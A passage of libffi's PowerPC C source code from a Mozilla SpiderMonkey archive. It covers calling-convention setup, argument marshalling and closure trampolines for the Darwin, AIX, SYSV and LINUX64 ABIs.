align = 4; s->size = ALIGN(s->size, align) + p->size; } s->size = ALIGN(s->size, s->alignment); if (s->elements[0]->type == FFI_TYPE_UINT64 || s->elements[0]->type == FFI_TYPE_SINT64 || s->elements[0]->type == FFI_TYPE_DOUBLE || s->elements[0]->alignment == 8) s->alignment = s->alignment > 8 ? s->alignment : 8; /* Do not add additional tail padding. */ } /* Perform machine dependent cif processing. */ ffi_status ffi_prep_cif_machdep (ffi_cif *cif) { /* All this is for the DARWIN ABI. */ unsigned i; ffi_type **ptr; unsigned bytes; int fparg_count = 0, intarg_count = 0; unsigned flags = 0; unsigned size_al = 0; /* All the machine-independent calculation of cif->bytes will be wrong. All the calculation of structure sizes will also be wrong. Redo the calculation for DARWIN. */ if (cif->abi == FFI_DARWIN) { darwin_adjust_aggregate_sizes (cif->rtype); for (i = 0; i < cif->nargs; i++) darwin_adjust_aggregate_sizes (cif->arg_types[i]); } if (cif->abi == FFI_AIX) { aix_adjust_aggregate_sizes (cif->rtype); for (i = 0; i < cif->nargs; i++) aix_adjust_aggregate_sizes (cif->arg_types[i]); } /* Space for the frame pointer, callee's LR, CR, etc, and for the asm's temp regs. */ bytes = (6 + ASM_NEEDS_REGISTERS) * sizeof(long); /* Return value handling. The rules are as follows: - 32-bit (or less) integer values are returned in gpr3; - Structures of size <= 4 bytes also returned in gpr3; - 64-bit integer values and structures between 5 and 8 bytes are returned in gpr3 and gpr4; - Single/double FP values are returned in fpr1; - Long double FP (if not equivalent to double) values are returned in fpr1 and fpr2; - Larger structures values are allocated space and a pointer is passed as the first argument. */ switch (cif->rtype->type) { #if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE case FFI_TYPE_LONGDOUBLE: flags |= FLAG_RETURNS_128BITS; flags |= FLAG_RETURNS_FP; break; #endif case FFI_TYPE_DOUBLE: flags |= FLAG_RETURNS_64BITS; /* Fall through. */ case FFI_TYPE_FLOAT: flags |= FLAG_RETURNS_FP; break; case FFI_TYPE_UINT64: case FFI_TYPE_SINT64: #ifdef POWERPC64 case FFI_TYPE_POINTER: #endif flags |= FLAG_RETURNS_64BITS; break; case FFI_TYPE_STRUCT: flags |= FLAG_RETVAL_REFERENCE; flags |= FLAG_RETURNS_NOTHING; intarg_count++; break; case FFI_TYPE_VOID: flags |= FLAG_RETURNS_NOTHING; break; default: /* Returns 32-bit integer, or similar. Nothing to do here. */ break; } /* The first NUM_GPR_ARG_REGISTERS words of integer arguments, and the first NUM_FPR_ARG_REGISTERS fp arguments, go in registers; the rest goes on the stack. Structures are passed as a pointer to a copy of the structure. Stuff on the stack needs to keep proper alignment. */ for (ptr = cif->arg_types, i = cif->nargs; i > 0; i--, ptr++) { switch ((*ptr)->type) { case FFI_TYPE_FLOAT: case FFI_TYPE_DOUBLE: fparg_count++; /* If this FP arg is going on the stack, it must be 8-byte-aligned. */ if (fparg_count > NUM_FPR_ARG_REGISTERS && intarg_count%2 != 0) intarg_count++; break; #if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE case FFI_TYPE_LONGDOUBLE: fparg_count += 2; /* If this FP arg is going on the stack, it must be 8-byte-aligned. */ if (fparg_count > NUM_FPR_ARG_REGISTERS && intarg_count%2 != 0) intarg_count++; intarg_count +=2; break; #endif case FFI_TYPE_UINT64: case FFI_TYPE_SINT64: /* 'long long' arguments are passed as two words, but either both words must fit in registers or both go on the stack. If they go on the stack, they must be 8-byte-aligned. */ if (intarg_count == NUM_GPR_ARG_REGISTERS-1 || (intarg_count >= NUM_GPR_ARG_REGISTERS && intarg_count%2 != 0)) intarg_count++; intarg_count += 2; break; case FFI_TYPE_STRUCT: size_al = (*ptr)->size; /* If the first member of the struct is a double, then align the struct to double-word. */ if ((*ptr)->elements[0]->type == FFI_TYPE_DOUBLE) size_al = ALIGN((*ptr)->size, 8); #ifdef POWERPC64 intarg_count += (size_al + 7) / 8; #else intarg_count += (size_al + 3) / 4; #endif break; default: /* Everything else is passed as a 4-byte word in a GPR, either the object itself or a pointer to it. */ intarg_count++; break; } } if (fparg_count != 0) flags |= FLAG_FP_ARGUMENTS; /* Space for the FPR registers, if needed. */ if (fparg_count != 0) bytes += NUM_FPR_ARG_REGISTERS * sizeof(double); /* Stack space. */ #ifdef POWERPC64 if ((intarg_count + fparg_count) > NUM_GPR_ARG_REGISTERS) bytes += (intarg_count + fparg_count) * sizeof(long); #else if ((intarg_count + 2 * fparg_count) > NUM_GPR_ARG_REGISTERS) bytes += (intarg_count + 2 * fparg_count) * sizeof(long); #endif else bytes += NUM_GPR_ARG_REGISTERS * sizeof(long); /* The stack space allocated needs to be a multiple of 16 bytes. */ bytes = (bytes + 15) & ~0xF; cif->flags = flags; cif->bytes = bytes; return FFI_OK; } extern void ffi_call_AIX(extended_cif *, long, unsigned, unsigned *, void (*fn)(void), void (*fn2)(void)); extern void ffi_call_DARWIN(extended_cif *, long, unsigned, unsigned *, void (*fn)(void), void (*fn2)(void)); void ffi_call (ffi_cif *cif, void (*fn)(void), void *rvalue, void **avalue) { extended_cif ecif; ecif.cif = cif; ecif.avalue = avalue; /* If the return value is a struct and we don't have a return value address then we need to make one. */ if ((rvalue == NULL) && (cif->rtype->type == FFI_TYPE_STRUCT)) { ecif.rvalue = alloca (cif->rtype->size); } else ecif.rvalue = rvalue; switch (cif->abi) { case FFI_AIX: ffi_call_AIX(&ecif, -(long)cif->bytes, cif->flags, ecif.rvalue, fn, FFI_FN(ffi_prep_args)); break; case FFI_DARWIN: ffi_call_DARWIN(&ecif, -(long)cif->bytes, cif->flags, ecif.rvalue, fn, FFI_FN(ffi_prep_args)); break; default: FFI_ASSERT(0); break; } } static void flush_icache(char *); static void flush_range(char *, int); /* The layout of a function descriptor. A C function pointer really points to one of these. */ typedef struct aix_fd_struct { void *code_pointer; void *toc; } aix_fd; /* here I'd like to add the stack frame layout we use in darwin_closure.S and aix_clsoure.S SP previous -> +---------------------------------------+ <--- child frame | back chain to caller 4 | +---------------------------------------+ 4 | saved CR 4 | +---------------------------------------+ 8 | saved LR 4 | +---------------------------------------+ 12 | reserved for compilers 4 | +---------------------------------------+ 16 | reserved for binders 4 | +---------------------------------------+ 20 | saved TOC pointer 4 | +---------------------------------------+ 24 | always reserved 8*4=32 (previous GPRs)| | according to the linkage convention | | from AIX | +---------------------------------------+ 56 | our FPR area 13*8=104 | | f1 | | . | | f13 | +---------------------------------------+ 160 | result area 8 | +---------------------------------------+ 168 | alignement to the next multiple of 16 | SP current --> +---------------------------------------+ 176 <- parent frame | back chain to caller 4 | +---------------------------------------+ 180 | saved CR 4 | +---------------------------------------+ 184 | saved LR 4 | +---------------------------------------+ 188 | reserved for compilers 4 | +---------------------------------------+ 192 | reserved for binders 4 | +---------------------------------------+ 196 | saved TOC pointer 4 | +---------------------------------------+ 200 | always reserved 8*4=32 we store our | | GPRs here | | r3 | | . | | r10 | +---------------------------------------+ 232 | overflow part | +---------------------------------------+ xxx | ???? | +---------------------------------------+ xxx */ ffi_status ffi_prep_closure_loc (ffi_closure* closure, ffi_cif* cif, void (*fun)(ffi_cif*, void*, void**, void*), void *user_data, void *codeloc) { unsigned int *tramp; struct ffi_aix_trampoline_struct *tramp_aix; aix_fd *fd; switch (cif->abi) { case FFI_DARWIN: FFI_ASSERT (cif->abi == FFI_DARWIN); tramp = (unsigned int *) &closure->tramp[0]; tramp[0] = 0x7c0802a6; /* mflr r0 */ tramp[1] = 0x429f000d; /* bcl- 20,4*cr7+so,0x10 */ tramp[4] = 0x7d6802a6; /* mflr r11 */ tramp[5] = 0x818b0000; /* lwz r12,0(r11) function address */ tramp[6] = 0x7c0803a6; /* mtlr r0 */ tramp[7] = 0x7d8903a6; /* mtctr r12 */ tramp[8] = 0x816b0004; /* lwz r11,4(r11) static chain */ tramp[9] = 0x4e800420; /* bctr */ tramp[2] = (unsigned long) ffi_closure_ASM; /* function */ tramp[3] = (unsigned long) codeloc; /* context */ closure->cif = cif; closure->fun = fun; closure->user_data = user_data; /* Flush the icache. Only necessary on Darwin. */ flush_range(codeloc, FFI_TRAMPOLINE_SIZE); break; case FFI_AIX: tramp_aix = (struct ffi_aix_trampoline_struct *) (closure->tramp); fd = (aix_fd *)(void *)ffi_closure_ASM; FFI_ASSERT (cif->abi == FFI_AIX); tramp_aix->code_pointer = fd->code_pointer; tramp_aix->toc = fd->toc; tramp_aix->static_chain = codeloc; closure->cif = cif; closure->fun = fun; closure->user_data = user_data; default: FFI_ASSERT(0); break; } return FFI_OK; } static void flush_icache(char *addr) { #ifndef _AIX __asm__ volatile ( "dcbf 0,%0\n" "\tsync\n" "\ticbi 0,%0\n" "\tsync\n" "\tisync" : : "r"(addr) : "memory"); #endif } static void flush_range(char * addr1, int size) { #define MIN_LINE_SIZE 32 int i; for (i = 0; i < size; i += MIN_LINE_SIZE) flush_icache(addr1+i); flush_icache(addr1+size-1); } typedef union { float f; double d; } ffi_dblfl; int ffi_closure_helper_DARWIN (ffi_closure *, void *, unsigned long *, ffi_dblfl *); /* Basically the trampoline invokes ffi_closure_ASM, and on entry, r11 holds the address of the closure. After storing the registers that could possibly contain parameters to be passed into the stack frame and setting up space for a return value, ffi_closure_ASM invokes the following helper function to do most of the work. */ int ffi_closure_helper_DARWIN (ffi_closure *closure, void *rvalue, unsigned long *pgr, ffi_dblfl *pfr) { /* rvalue is the pointer to space for return value in closure assembly pgr is the pointer to where r3-r10 are stored in ffi_closure_ASM pfr is the pointer to where f1-f13 are stored in ffi_closure_ASM. */ typedef double ldbits[2]; union ldu { ldbits lb; long double ld; }; void ** avalue; ffi_type ** arg_types; long i, avn; ffi_cif * cif; ffi_dblfl * end_pfr = pfr + NUM_FPR_ARG_REGISTERS; unsigned size_al; cif = closure->cif; avalue = alloca (cif->nargs * sizeof(void *)); /* Copy the caller's structure return value address so that the closure returns the data directly to the caller. */ if (cif->rtype->type == FFI_TYPE_STRUCT) { rvalue = (void *) *pgr; pgr++; } i = 0; avn = cif->nargs; arg_types = cif->arg_types; /* Grab the addresses of the arguments from the stack frame. */ while (i < avn) { switch (arg_types[i]->type) { case FFI_TYPE_SINT8: case FFI_TYPE_UINT8: #ifdef POWERPC64 avalue[i] = (char *) pgr + 7; #else avalue[i] = (char *) pgr + 3; #endif pgr++; break; case FFI_TYPE_SINT16: case FFI_TYPE_UINT16: #ifdef POWERPC64 avalue[i] = (char *) pgr + 6; #else avalue[i] = (char *) pgr + 2; #endif pgr++; break; case FFI_TYPE_SINT32: case FFI_TYPE_UINT32: #ifdef POWERPC64 avalue[i] = (char *) pgr + 4; #else case FFI_TYPE_POINTER: avalue[i] = pgr; #endif pgr++; break; case FFI_TYPE_STRUCT: #ifdef POWERPC64 size_al = arg_types[i]->size; if (arg_types[i]->elements[0]->type == FFI_TYPE_DOUBLE) size_al = ALIGN (arg_types[i]->size, 8); if (size_al < 3 && cif->abi == FFI_DARWIN) avalue[i] = (char *) pgr + 8 - size_al; else avalue[i] = pgr; pgr += (size_al + 7) / 8; #else /* Structures that match the basic modes (QI 1 byte, HI 2 bytes, SI 4 bytes) are aligned as if they were those modes. */ size_al = arg_types[i]->size; /* If the first member of the struct is a double, then align the struct to double-word. */ if (arg_types[i]->elements[0]->type == FFI_TYPE_DOUBLE) size_al = ALIGN(arg_types[i]->size, 8); if (size_al < 3 && cif->abi == FFI_DARWIN) avalue[i] = (char*) pgr + 4 - size_al; else avalue[i] = pgr; pgr += (size_al + 3) / 4; #endif break; case FFI_TYPE_SINT64: case FFI_TYPE_UINT64: #ifdef POWERPC64 case FFI_TYPE_POINTER: avalue[i] = pgr; pgr++; break; #else /* Long long ints are passed in two gpr's. */ avalue[i] = pgr; pgr += 2; break; #endif case FFI_TYPE_FLOAT: /* A float value consumes a GPR. There are 13 64bit floating point registers. */ if (pfr < end_pfr) { double temp = pfr->d; pfr->f = (float) temp; avalue[i] = pfr; pfr++; } else { avalue[i] = pgr; } pgr++; break; case FFI_TYPE_DOUBLE: /* A double value consumes two GPRs. There are 13 64bit floating point registers. */ if (pfr < end_pfr) { avalue[i] = pfr; pfr++; } else { avalue[i] = pgr; } #ifdef POWERPC64 pgr++; #else pgr += 2; #endif break; #if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE case FFI_TYPE_LONGDOUBLE: #ifdef POWERPC64 if (pfr + 1 < end_pfr) { avalue[i] = pfr; pfr += 2; } else { if (pfr < end_pfr) { *pgr = *(unsigned long *) pfr; pfr++; } avalue[i] = pgr; } pgr += 2; #else /* POWERPC64 */ /* A long double value consumes four GPRs and two FPRs. There are 13 64bit floating point registers. */ if (pfr + 1 < end_pfr) { avalue[i] = pfr; pfr += 2; } /* Here we have the situation where one part of the long double is stored in fpr13 and the other part is already on the stack. We use a union to pass the long double to avalue[i]. */ else if (pfr + 1 == end_pfr) { union ldu temp_ld; memcpy (&temp_ld.lb[0], pfr, sizeof(ldbits)); memcpy (&temp_ld.lb[1], pgr + 2, sizeof(ldbits)); avalue[i] = &temp_ld.ld; pfr++; } else { avalue[i] = pgr; } pgr += 4; #endif /* POWERPC64 */ break; #endif default: FFI_ASSERT(0); } i++; } (closure->fun) (cif, rvalue, avalue, closure->user_data); /* Tell ffi_closure_ASM to perform return type promotions. */ return cif->rtype->type; } mozjs17.0.0/js/src/ctypes/libffi/src/powerpc/ffi.c0000664000175000017500000011422012106270662021723 0ustar sstanglsstangl/* ----------------------------------------------------------------------- ffi.c - Copyright (c) 1998 Geoffrey Keating Copyright (C) 2007, 2008 Free Software Foundation, Inc Copyright (C) 2008 Red Hat, Inc PowerPC Foreign Function Interface Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #include #include #include #include extern void ffi_closure_SYSV (void); extern void FFI_HIDDEN ffi_closure_LINUX64 (void); enum { /* The assembly depends on these exact flags. */ FLAG_RETURNS_SMST = 1 << (31-31), /* Used for FFI_SYSV small structs. */ FLAG_RETURNS_NOTHING = 1 << (31-30), /* These go in cr7 */ FLAG_RETURNS_FP = 1 << (31-29), FLAG_RETURNS_64BITS = 1 << (31-28), FLAG_RETURNS_128BITS = 1 << (31-27), /* cr6 */ FLAG_SYSV_SMST_R4 = 1 << (31-26), /* use r4 for FFI_SYSV 8 byte structs. */ FLAG_SYSV_SMST_R3 = 1 << (31-25), /* use r3 for FFI_SYSV 4 byte structs. */ /* Bits (31-24) through (31-19) store shift value for SMST */ FLAG_ARG_NEEDS_COPY = 1 << (31- 7), FLAG_FP_ARGUMENTS = 1 << (31- 6), /* cr1.eq; specified by ABI */ FLAG_4_GPR_ARGUMENTS = 1 << (31- 5), FLAG_RETVAL_REFERENCE = 1 << (31- 4) }; /* About the SYSV ABI. */ unsigned int NUM_GPR_ARG_REGISTERS = 8; #ifndef __NO_FPRS__ unsigned int NUM_FPR_ARG_REGISTERS = 8; #else unsigned int NUM_FPR_ARG_REGISTERS = 0; #endif enum { ASM_NEEDS_REGISTERS = 4 }; /* ffi_prep_args_SYSV is called by the assembly routine once stack space has been allocated for the function's arguments. The stack layout we want looks like this: | Return address from ffi_call_SYSV 4bytes | higher addresses |--------------------------------------------| | Previous backchain pointer 4 | stack pointer here |--------------------------------------------|<+ <<< on entry to | Saved r28-r31 4*4 | | ffi_call_SYSV |--------------------------------------------| | | GPR registers r3-r10 8*4 | | ffi_call_SYSV |--------------------------------------------| | | FPR registers f1-f8 (optional) 8*8 | | |--------------------------------------------| | stack | | Space for copied structures | | grows | |--------------------------------------------| | down V | Parameters that didn't fit in registers | | |--------------------------------------------| | lower addresses | Space for callee's LR 4 | | |--------------------------------------------| | stack pointer here | Current backchain pointer 4 |-/ during |--------------------------------------------| <<< ffi_call_SYSV */ void ffi_prep_args_SYSV (extended_cif *ecif, unsigned *const stack) { const unsigned bytes = ecif->cif->bytes; const unsigned flags = ecif->cif->flags; typedef union { char *c; unsigned *u; long long *ll; float *f; double *d; } valp; /* 'stacktop' points at the previous backchain pointer. */ valp stacktop; /* 'gpr_base' points at the space for gpr3, and grows upwards as we use GPR registers. */ valp gpr_base; int intarg_count; /* 'fpr_base' points at the space for fpr1, and grows upwards as we use FPR registers. */ valp fpr_base; int fparg_count; /* 'copy_space' grows down as we put structures in it. It should stay 16-byte aligned. */ valp copy_space; /* 'next_arg' grows up as we put parameters in it. */ valp next_arg; int i, ii MAYBE_UNUSED; ffi_type **ptr; double double_tmp; union { void **v; char **c; signed char **sc; unsigned char **uc; signed short **ss; unsigned short **us; unsigned int **ui; long long **ll; float **f; double **d; } p_argv; size_t struct_copy_size; unsigned gprvalue; if (ecif->cif->abi == FFI_LINUX_SOFT_FLOAT) NUM_FPR_ARG_REGISTERS = 0; stacktop.c = (char *) stack + bytes; gpr_base.u = stacktop.u - ASM_NEEDS_REGISTERS - NUM_GPR_ARG_REGISTERS; intarg_count = 0; fpr_base.d = gpr_base.d - NUM_FPR_ARG_REGISTERS; fparg_count = 0; copy_space.c = ((flags & FLAG_FP_ARGUMENTS) ? fpr_base.c : gpr_base.c); next_arg.u = stack + 2; /* Check that everything starts aligned properly. */ FFI_ASSERT (((unsigned) (char *) stack & 0xF) == 0); FFI_ASSERT (((unsigned) copy_space.c & 0xF) == 0); FFI_ASSERT (((unsigned) stacktop.c & 0xF) == 0); FFI_ASSERT ((bytes & 0xF) == 0); FFI_ASSERT (copy_space.c >= next_arg.c); /* Deal with return values that are actually pass-by-reference. */ if (flags & FLAG_RETVAL_REFERENCE) { *gpr_base.u++ = (unsigned long) (char *) ecif->rvalue; intarg_count++; } /* Now for the arguments. */ p_argv.v = ecif->avalue; for (ptr = ecif->cif->arg_types, i = ecif->cif->nargs; i > 0; i--, ptr++, p_argv.v++) { switch ((*ptr)->type) { case FFI_TYPE_FLOAT: /* With FFI_LINUX_SOFT_FLOAT floats are handled like UINT32. */ if (ecif->cif->abi == FFI_LINUX_SOFT_FLOAT) goto soft_float_prep; double_tmp = **p_argv.f; if (fparg_count >= NUM_FPR_ARG_REGISTERS) { *next_arg.f = (float) double_tmp; next_arg.u += 1; intarg_count++; } else *fpr_base.d++ = double_tmp; fparg_count++; FFI_ASSERT (flags & FLAG_FP_ARGUMENTS); break; case FFI_TYPE_DOUBLE: /* With FFI_LINUX_SOFT_FLOAT doubles are handled like UINT64. */ if (ecif->cif->abi == FFI_LINUX_SOFT_FLOAT) goto soft_double_prep; double_tmp = **p_argv.d; if (fparg_count >= NUM_FPR_ARG_REGISTERS) { if (intarg_count >= NUM_GPR_ARG_REGISTERS && intarg_count % 2 != 0) { intarg_count++; next_arg.u++; } *next_arg.d = double_tmp; next_arg.u += 2; } else *fpr_base.d++ = double_tmp; fparg_count++; FFI_ASSERT (flags & FLAG_FP_ARGUMENTS); break; #if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE case FFI_TYPE_LONGDOUBLE: if ((ecif->cif->abi != FFI_LINUX) && (ecif->cif->abi != FFI_LINUX_SOFT_FLOAT)) goto do_struct; /* The soft float ABI for long doubles works like this, a long double is passed in four consecutive gprs if available. A maximum of 2 long doubles can be passed in gprs. If we do not have 4 gprs left, the long double is passed on the stack, 4-byte aligned. */ if (ecif->cif->abi == FFI_LINUX_SOFT_FLOAT) { unsigned int int_tmp = (*p_argv.ui)[0]; if (intarg_count >= NUM_GPR_ARG_REGISTERS - 3) { if (intarg_count < NUM_GPR_ARG_REGISTERS) intarg_count += NUM_GPR_ARG_REGISTERS - intarg_count; *next_arg.u = int_tmp; next_arg.u++; for (ii = 1; ii < 4; ii++) { int_tmp = (*p_argv.ui)[ii]; *next_arg.u = int_tmp; next_arg.u++; } } else { *gpr_base.u++ = int_tmp; for (ii = 1; ii < 4; ii++) { int_tmp = (*p_argv.ui)[ii]; *gpr_base.u++ = int_tmp; } } intarg_count +=4; } else { double_tmp = (*p_argv.d)[0]; if (fparg_count >= NUM_FPR_ARG_REGISTERS - 1) { if (intarg_count >= NUM_GPR_ARG_REGISTERS && intarg_count % 2 != 0) { intarg_count++; next_arg.u++; } *next_arg.d = double_tmp; next_arg.u += 2; double_tmp = (*p_argv.d)[1]; *next_arg.d = double_tmp; next_arg.u += 2; } else { *fpr_base.d++ = double_tmp; double_tmp = (*p_argv.d)[1]; *fpr_base.d++ = double_tmp; } fparg_count += 2; FFI_ASSERT (flags & FLAG_FP_ARGUMENTS); } break; #endif case FFI_TYPE_UINT64: case FFI_TYPE_SINT64: soft_double_prep: if (intarg_count == NUM_GPR_ARG_REGISTERS-1) intarg_count++; if (intarg_count >= NUM_GPR_ARG_REGISTERS) { if (intarg_count % 2 != 0) { intarg_count++; next_arg.u++; } *next_arg.ll = **p_argv.ll; next_arg.u += 2; } else { /* whoops: abi states only certain register pairs * can be used for passing long long int * specifically (r3,r4), (r5,r6), (r7,r8), * (r9,r10) and if next arg is long long but * not correct starting register of pair then skip * until the proper starting register */ if (intarg_count % 2 != 0) { intarg_count ++; gpr_base.u++; } *gpr_base.ll++ = **p_argv.ll; } intarg_count += 2; break; case FFI_TYPE_STRUCT: #if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE do_struct: #endif struct_copy_size = ((*ptr)->size + 15) & ~0xF; copy_space.c -= struct_copy_size; memcpy (copy_space.c, *p_argv.c, (*ptr)->size); gprvalue = (unsigned long) copy_space.c; FFI_ASSERT (copy_space.c > next_arg.c); FFI_ASSERT (flags & FLAG_ARG_NEEDS_COPY); goto putgpr; case FFI_TYPE_UINT8: gprvalue = **p_argv.uc; goto putgpr; case FFI_TYPE_SINT8: gprvalue = **p_argv.sc; goto putgpr; case FFI_TYPE_UINT16: gprvalue = **p_argv.us; goto putgpr; case FFI_TYPE_SINT16: gprvalue = **p_argv.ss; goto putgpr; case FFI_TYPE_INT: case FFI_TYPE_UINT32: case FFI_TYPE_SINT32: case FFI_TYPE_POINTER: soft_float_prep: gprvalue = **p_argv.ui; putgpr: if (intarg_count >= NUM_GPR_ARG_REGISTERS) *next_arg.u++ = gprvalue; else *gpr_base.u++ = gprvalue; intarg_count++; break; } } /* Check that we didn't overrun the stack... */ FFI_ASSERT (copy_space.c >= next_arg.c); FFI_ASSERT (gpr_base.u <= stacktop.u - ASM_NEEDS_REGISTERS); FFI_ASSERT (fpr_base.u <= stacktop.u - ASM_NEEDS_REGISTERS - NUM_GPR_ARG_REGISTERS); FFI_ASSERT (flags & FLAG_4_GPR_ARGUMENTS || intarg_count <= 4); } /* About the LINUX64 ABI. */ enum { NUM_GPR_ARG_REGISTERS64 = 8, NUM_FPR_ARG_REGISTERS64 = 13 }; enum { ASM_NEEDS_REGISTERS64 = 4 }; /* ffi_prep_args64 is called by the assembly routine once stack space has been allocated for the function's arguments. The stack layout we want looks like this: | Ret addr from ffi_call_LINUX64 8bytes | higher addresses |--------------------------------------------| | CR save area 8bytes | |--------------------------------------------| | Previous backchain pointer 8 | stack pointer here |--------------------------------------------|<+ <<< on entry to | Saved r28-r31 4*8 | | ffi_call_LINUX64 |--------------------------------------------| | | GPR registers r3-r10 8*8 | | |--------------------------------------------| | | FPR registers f1-f13 (optional) 13*8 | | |--------------------------------------------| | | Parameter save area | | |--------------------------------------------| | | TOC save area 8 | | |--------------------------------------------| | stack | | Linker doubleword 8 | | grows | |--------------------------------------------| | down V | Compiler doubleword 8 | | |--------------------------------------------| | lower addresses | Space for callee's LR 8 | | |--------------------------------------------| | | CR save area 8 | | |--------------------------------------------| | stack pointer here | Current backchain pointer 8 |-/ during |--------------------------------------------| <<< ffi_call_LINUX64 */ void FFI_HIDDEN ffi_prep_args64 (extended_cif *ecif, unsigned long *const stack) { const unsigned long bytes = ecif->cif->bytes; const unsigned long flags = ecif->cif->flags; typedef union { char *c; unsigned long *ul; float *f; double *d; } valp; /* 'stacktop' points at the previous backchain pointer. */ valp stacktop; /* 'next_arg' points at the space for gpr3, and grows upwards as we use GPR registers, then continues at rest. */ valp gpr_base; valp gpr_end; valp rest; valp next_arg; /* 'fpr_base' points at the space for fpr3, and grows upwards as we use FPR registers. */ valp fpr_base; int fparg_count; int i, words; ffi_type **ptr; double double_tmp; union { void **v; char **c; signed char **sc; unsigned char **uc; signed short **ss; unsigned short **us; signed int **si; unsigned int **ui; unsigned long **ul; float **f; double **d; } p_argv; unsigned long gprvalue; stacktop.c = (char *) stack + bytes; gpr_base.ul = stacktop.ul - ASM_NEEDS_REGISTERS64 - NUM_GPR_ARG_REGISTERS64; gpr_end.ul = gpr_base.ul + NUM_GPR_ARG_REGISTERS64; rest.ul = stack + 6 + NUM_GPR_ARG_REGISTERS64; fpr_base.d = gpr_base.d - NUM_FPR_ARG_REGISTERS64; fparg_count = 0; next_arg.ul = gpr_base.ul; /* Check that everything starts aligned properly. */ FFI_ASSERT (((unsigned long) (char *) stack & 0xF) == 0); FFI_ASSERT (((unsigned long) stacktop.c & 0xF) == 0); FFI_ASSERT ((bytes & 0xF) == 0); /* Deal with return values that are actually pass-by-reference. */ if (flags & FLAG_RETVAL_REFERENCE) *next_arg.ul++ = (unsigned long) (char *) ecif->rvalue; /* Now for the arguments. */ p_argv.v = ecif->avalue; for (ptr = ecif->cif->arg_types, i = ecif->cif->nargs; i > 0; i--, ptr++, p_argv.v++) { switch ((*ptr)->type) { case FFI_TYPE_FLOAT: double_tmp = **p_argv.f; *next_arg.f = (float) double_tmp; if (++next_arg.ul == gpr_end.ul) next_arg.ul = rest.ul; if (fparg_count < NUM_FPR_ARG_REGISTERS64) *fpr_base.d++ = double_tmp; fparg_count++; FFI_ASSERT (flags & FLAG_FP_ARGUMENTS); break; case FFI_TYPE_DOUBLE: double_tmp = **p_argv.d; *next_arg.d = double_tmp; if (++next_arg.ul == gpr_end.ul) next_arg.ul = rest.ul; if (fparg_count < NUM_FPR_ARG_REGISTERS64) *fpr_base.d++ = double_tmp; fparg_count++; FFI_ASSERT (flags & FLAG_FP_ARGUMENTS); break; #if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE case FFI_TYPE_LONGDOUBLE: double_tmp = (*p_argv.d)[0]; *next_arg.d = double_tmp; if (++next_arg.ul == gpr_end.ul) next_arg.ul = rest.ul; if (fparg_count < NUM_FPR_ARG_REGISTERS64) *fpr_base.d++ = double_tmp; fparg_count++; double_tmp = (*p_argv.d)[1]; *next_arg.d = double_tmp; if (++next_arg.ul == gpr_end.ul) next_arg.ul = rest.ul; if (fparg_count < NUM_FPR_ARG_REGISTERS64) *fpr_base.d++ = double_tmp; fparg_count++; FFI_ASSERT (__LDBL_MANT_DIG__ == 106); FFI_ASSERT (flags & FLAG_FP_ARGUMENTS); break; #endif case FFI_TYPE_STRUCT: words = ((*ptr)->size + 7) / 8; if (next_arg.ul >= gpr_base.ul && next_arg.ul + words > gpr_end.ul) { size_t first = gpr_end.c - next_arg.c; memcpy (next_arg.c, *p_argv.c, first); memcpy (rest.c, *p_argv.c + first, (*ptr)->size - first); next_arg.c = rest.c + words * 8 - first; } else { char *where = next_arg.c; /* Structures with size less than eight bytes are passed left-padded. */ if ((*ptr)->size < 8) where += 8 - (*ptr)->size; memcpy (where, *p_argv.c, (*ptr)->size); next_arg.ul += words; if (next_arg.ul == gpr_end.ul) next_arg.ul = rest.ul; } break; case FFI_TYPE_UINT8: gprvalue = **p_argv.uc; goto putgpr; case FFI_TYPE_SINT8: gprvalue = **p_argv.sc; goto putgpr; case FFI_TYPE_UINT16: gprvalue = **p_argv.us; goto putgpr; case FFI_TYPE_SINT16: gprvalue = **p_argv.ss; goto putgpr; case FFI_TYPE_UINT32: gprvalue = **p_argv.ui; goto putgpr; case FFI_TYPE_INT: case FFI_TYPE_SINT32: gprvalue = **p_argv.si; goto putgpr; case FFI_TYPE_UINT64: case FFI_TYPE_SINT64: case FFI_TYPE_POINTER: gprvalue = **p_argv.ul; putgpr: *next_arg.ul++ = gprvalue; if (next_arg.ul == gpr_end.ul) next_arg.ul = rest.ul; break; } } FFI_ASSERT (flags & FLAG_4_GPR_ARGUMENTS || (next_arg.ul >= gpr_base.ul && next_arg.ul <= gpr_base.ul + 4)); } /* Perform machine dependent cif processing */ ffi_status ffi_prep_cif_machdep (ffi_cif *cif) { /* All this is for the SYSV and LINUX64 ABI. */ int i; ffi_type **ptr; unsigned bytes; int fparg_count = 0, intarg_count = 0; unsigned flags = 0; unsigned struct_copy_size = 0; unsigned type = cif->rtype->type; unsigned size = cif->rtype->size; if (cif->abi == FFI_LINUX_SOFT_FLOAT) NUM_FPR_ARG_REGISTERS = 0; if (cif->abi != FFI_LINUX64) { /* All the machine-independent calculation of cif->bytes will be wrong. Redo the calculation for SYSV. */ /* Space for the frame pointer, callee's LR, and the asm's temp regs. */ bytes = (2 + ASM_NEEDS_REGISTERS) * sizeof (int); /* Space for the GPR registers. */ bytes += NUM_GPR_ARG_REGISTERS * sizeof (int); } else { /* 64-bit ABI. */ /* Space for backchain, CR, LR, cc/ld doubleword, TOC and the asm's temp regs. */ bytes = (6 + ASM_NEEDS_REGISTERS64) * sizeof (long); /* Space for the mandatory 